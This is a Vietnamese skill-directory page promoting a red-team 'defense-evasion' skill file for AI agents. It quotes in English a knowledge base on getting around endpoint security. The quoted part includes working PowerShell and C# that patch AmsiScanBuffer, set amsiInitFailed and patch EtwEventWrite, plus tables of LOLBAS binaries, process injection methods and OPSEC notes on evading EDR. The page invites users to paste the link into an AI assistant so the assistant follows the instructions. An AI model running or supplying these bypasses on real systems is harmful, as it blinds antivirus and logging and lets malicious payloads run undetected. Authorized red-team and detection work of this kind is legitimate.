Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #13929

defense-evasion

Skill này làm gì

Tài liệu tham chiếu này mô tả các nhóm kỹ thuật cố gắng né tránh antivirus và công cụ phát hiện endpoint. Tài liệu dành cho người kiểm thử bảo mật được ủy quyền cần kiểm tra mức độ bắt được chúng của một sản phẩm endpoint.

Khi nào nên dùng

  • ✓Khi một red team được ủy quyền cần kiểm tra xem một sản phẩm endpoint có phát hiện một nhóm kỹ thuật nhất định không.
  • ✓Khi một đội phòng thủ muốn có bản đồ các phương pháp né tránh gắn với các nhóm MITRE ATT&CK.
  • ✓Khi người kiểm thử cần đánh giá mức rủi ro của một bước kiểm tra trước khi chạy trên mục tiêu.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Red team của chúng tôi muốn kiểm tra xem công cụ endpoint của chúng tôi có bắt được các phương pháp né tránh phổ biến không. Bạn có thể đưa ra một kế hoạch kiểm thử an toàn không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent dùng bảng phân loại và ánh xạ trong tài liệu để chọn nhóm kiểm tra, và lưu ý rằng mỗi phương pháp có thời gian hiệu lực ngắn và phải được kiểm tra trên chính các sản phẩm của mục tiêu.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Defense Evasion Knowledge Base

Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.

Quick Reference

Task Technique Risk Level
Disable AMSI Memory patch AmsiScanBuffer Medium
Disable AMSI (stealthier) Hardware breakpoint on AmsiScanBuffer Low
Disable ETW Patch EtwEventWrite Medium
Unhook EDR DLLs ScareCrow / manual ntdll reload High
Generate evasive payload ScareCrow with AES encryption Medium
Execute via LOLBAS mshta, certutil, rundll32, regsvr32 Varies
Process injection Process hollowing, early bird High
Custom loader Nim/Rust/Go shellcode runner Low-Medium

MITRE ATT&CK Mapping

Technique ID Name Evasion Relevance
T1562 Impair Defenses AMSI/ETW patching, disabling logging
T1027 Obfuscated Files or Information AES-encrypted shellcode, encoding
T1055 Process Injection Hollowing, APC injection, thread hijack
T1218 System Binary Proxy Execution LOLBAS (mshta, rundll32, regsvr32)
T1036 Masquerading Spoofed code signing, renamed binaries
T1140 Deobfuscate/Decode Files Runtime decryption of payloads

1. AMSI Bypass Techniques

Memory Patching (AmsiScanBuffer)

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction

$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))

# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")

# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)

Hardware Breakpoint Method (Stealthier)

// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks

// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution

// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread

Reflection Method

# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process

[Ref].Assembly.GetType(
    'System.Management.Automation.AmsiUtils'
).GetField(
    'amsiInitFailed',
    'NonPublic,Static'
).SetValue($null, $true)

AMSI Bypass OPSEC Notes

Method Detectable By OPSEC Rating
Memory patch EDR memory scanning, Integrity checks Medium
Hardware breakpoint Thread context inspection (rare) High
Reflection (amsiInitFailed) Script block logging, known signature Low
Forcing AMSI error Process monitor, event correlation Medium

2. ETW Patching

Patching EtwEventWrite

// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.

IntPtr etwAddr = GetProcAddress(
    GetModuleHandle("ntdll.dll"),
    "EtwEventWrite"
);

// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

What ETW Patching Disables

  • .NET assembly load events (used by EDR to detect execute-assembly)
  • PowerShell ScriptBlock logging
  • Process creation events via ETW providers
  • Network connection telemetry from userland

ETW OPSEC Notes

  • Patch BEFORE loading any tools or assemblies
  • S
Câu hỏi thường gặp

Các kỹ thuật này có luôn hiệu quả không?

Không. Tài liệu cho biết mỗi kỹ thuật có tuổi thọ giới hạn vì việc phát hiện luôn thay đổi.

Mức rủi ro được thể hiện thế nào?

Tài liệu liệt kê mức rủi ro cho từng nhóm, chẳng hạn thấp, trung bình hoặc cao.

Hệ thống khung nào được dùng?

Các kỹ thuật được ánh xạ với mã định danh MITRE ATT&CK, chẳng hạn như làm suy yếu phòng thủ và thực thi qua proxy nhị phân hệ thống.

Chi tiết

Mô tả gốc của tác giả

Endpoint defense bypass — AMSI/ETW patching, ScareCrow framework, custom loaders, direct/indirect syscalls, LOLBAS execution, process injection.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#13929
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự